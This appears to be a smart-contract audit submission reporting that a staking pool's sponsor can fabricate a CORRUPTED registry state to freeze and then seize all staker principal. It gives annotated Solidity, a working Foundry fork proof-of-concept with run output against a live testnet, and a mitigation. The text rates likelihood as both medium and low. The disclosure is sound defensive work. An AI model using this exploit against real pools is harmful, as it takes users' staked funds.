FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Sponsor is the registry `attackModerator` for their own agreement and can fabricate CORRUPTED to freeze, then seize, 100% of staker principal

Author Revealed upon completion

Root + Impact

Description

  • Normally the CORRUPTED registry signal is meant to be neutral ground truth: the pool trusts the BattleChain registry's CORRUPTED state, and DESIGN.md §10 enumerates the sponsor's trust surface as only recoveryAddress, expiry, and pool scope, so the sponsor is not supposed to be able to move the registry into CORRUPTED.

  • In fact the factory forces the pool creator to be the agreement owner and forwards that same address as the pool owner and the party that sets recoveryAddress; on the BattleChain registry the agreement owner is also the per-agreement attackModerator, the only role markCorrupted requires. So the sponsor can drive their own agreement to CORRUPTED with no real breach, which the pool consumes as truth, freezing all staker principal for the full 180-day moderator grace and, if the DAO moderator stays absent, sweeping the entire pool to the sponsor's own recoveryAddress.

// src/ConfidencePoolFactory.sol :: createPool
if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
IConfidencePool(pool).initialize(
agreement, stakeToken, address(safeHarborRegistry), defaultOutcomeModerator,
expiry, minStake,
@> recoveryAddress, // sponsor-chosen CORRUPTED sweep destination
@> msg.sender, // pool owner == agreement owner (the sponsor)
accounts
);
// lib/battlechain-safe-harbor-contracts/src/AttackRegistry.sol :: (agreement registration)
s_agreementInfo[agreementAddress] = AgreementInfo({
@> attackModerator: agreementOwner, // the SAME sponsor is the registry attack-moderator
...
});
// ...gated only on that role:
@> function markCorrupted(address a) external onlyAttackModerator(a) { ...; corrupted = true; _markBondClaimable(a); }
// src/ConfidencePool.sol :: _getAgreementState (trusts the enum with no way to tell fabricated from genuine)
@> return IAttackRegistry(attackRegistry).getAgreementState(agreement);
// src/ConfidencePool.sol :: claimExpired (CORRUPTED + sealed risk window) => 180-day freeze, then full sweep
@> if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
@> revert AgreementCorruptedAwaitingModerator(); // principal frozen for the whole grace
}
outcome = PoolStates.Outcome.CORRUPTED;
@> corruptedReserve = snapshotTotalStaked + snapshotTotalBonus; // entire pool -> recoveryAddress (sponsor)
claimsStarted = true;
return;
}

Risk

Likelihood:

  • Occurs whenever a sponsor creates a pool for their own agreement (the only allowed creator) and later calls markCorrupted, a role they hold by default on every agreement they own, requiring no privileged compromise.

  • The missing riskWindowStart != 0 precondition is satisfied by the sponsor themselves: staking observes UNDER_ATTACK and seals it, or the sponsor calls permissionless pokeRiskWindow() while the agreement is in its normal active-risk state.

  • The temporary-freeze impact lands unilaterally; the full-seizure escalation additionally requires the trusted DAO outcomeModerator to remain absent for the entire post-expiry grace (which is why overall likelihood is Low, not High).

Impact:

  • 100% of staker principal is frozen for up to 180 days (expiry + MODERATOR_CORRUPTED_GRACE) on the sponsor's unilateral action, breaking the permissionless expiry-resolution backstop.

  • If the moderator does not flag SURVIVED during the grace, the mechanical auto-CORRUPTED path lets anyone finalize and claimCorrupted sweeps the whole pool (principal + bonus) to the sponsor's recoveryAddress, a total loss to stakers with no real breach.

  • Violates the DESIGN.md §10 sponsor trust surface, which does not disclose that the sponsor can produce the CORRUPTED signal at all.

Proof of Concept

Fork PoC against the live BattleChain testnet registry (chainId 627, pinned block 16000). It proves on-chain that the sponsor is the attackModerator, fabricates CORRUPTED, freezes the staker, and after the grace sweeps the whole pool to itself.

// test/fork/MetatronSponsorSelfDeal.fork.t.sol
function testSponsorIsAttackModeratorAndCanSelfDealThePool() external {
// Fact (on-chain): the agreement owner (the pool sponsor) IS the registry attackModerator.
assertEq(attackRegistry.getAttackModerator(DEMO_AGREEMENT), DEMO_AGREEMENT_OWNER, "sponsor is attackModerator");
address sponsor = DEMO_AGREEMENT_OWNER;
address[] memory accounts = new address[](1);
accounts[0] = DEMO_AGREEMENT_IN_SCOPE;
uint256 expiry = block.timestamp + 31 days;
vm.prank(sponsor);
IConfidencePool pool = IConfidencePool(
factory.createPool(DEMO_AGREEMENT, address(stakeToken), expiry, 1e18, sponsor, accounts)
);
uint256 principal = 1_000 ether;
stakeToken.mint(alice, principal);
vm.startPrank(alice);
stakeToken.approve(address(pool), principal);
pool.stake(principal); // observes UNDER_ATTACK, seals riskWindowStart
vm.stopPrank();
assertTrue(pool.riskWindowStart() != 0, "risk window sealed");
// Sponsor fabricates a breach as the registry attackModerator. No real attack occurred.
vm.prank(sponsor);
attackRegistry.markCorrupted(DEMO_AGREEMENT);
// (a) FREEZE: staker cannot exit; claimExpired reverts through the whole grace.
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
vm.warp(expiry + 1);
vm.prank(alice);
vm.expectRevert(IConfidencePool.AgreementCorruptedAwaitingModerator.selector);
pool.claimExpired();
// (b) THEFT: after the 180-day grace with the moderator absent, anyone finalizes and the pool
// sweeps to the sponsor's recoveryAddress.
vm.warp(expiry + pool.MODERATOR_CORRUPTED_GRACE() + 1);
pool.claimExpired();
uint256 sponsorBefore = stakeToken.balanceOf(sponsor);
pool.claimCorrupted();
assertEq(stakeToken.balanceOf(sponsor) - sponsorBefore, principal, "sponsor swept the whole pool to self");
assertEq(stakeToken.balanceOf(alice), 0, "staker lost 100% of principal, no breach occurred");
}

Run:

BATTLECHAIN_TESTNET_RPC=https://testnet.battlechain.com \
forge test --match-test testSponsorIsAttackModeratorAndCanSelfDealThePool -vv

Result (passes against the live testnet):

Ran 1 test for test/fork/MetatronSponsorSelfDeal.fork.t.sol:MetatronSponsorSelfDealForkTest
[PASS] testSponsorIsAttackModeratorAndCanSelfDealThePool() (gas: 959808)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.05s (5.37ms CPU time)
Ran 1 test suite in 1.08s (1.05s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

Do not let the party that controls the registry CORRUPTED signal also be the CORRUPTED sweep beneficiary. Reject the sponsor==attackModerator collision at resolution (or require an independent DAO flag for any principal-moving CORRUPTED, removing the permissionless auto-CORRUPTED sweep):

function claimExpired() external nonReentrant {
...
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
+ // The attack-moderator (who can fabricate CORRUPTED) must not also be the sweep beneficiary.
+ address attackModerator =
+ IAttackRegistry(safeHarborRegistry.getAttackRegistry()).getAttackModerator(agreement);
+ if (attackModerator == recoveryAddress || attackModerator == owner()) {
+ revert AgreementCorruptedAwaitingModerator();
+ }
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
...
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!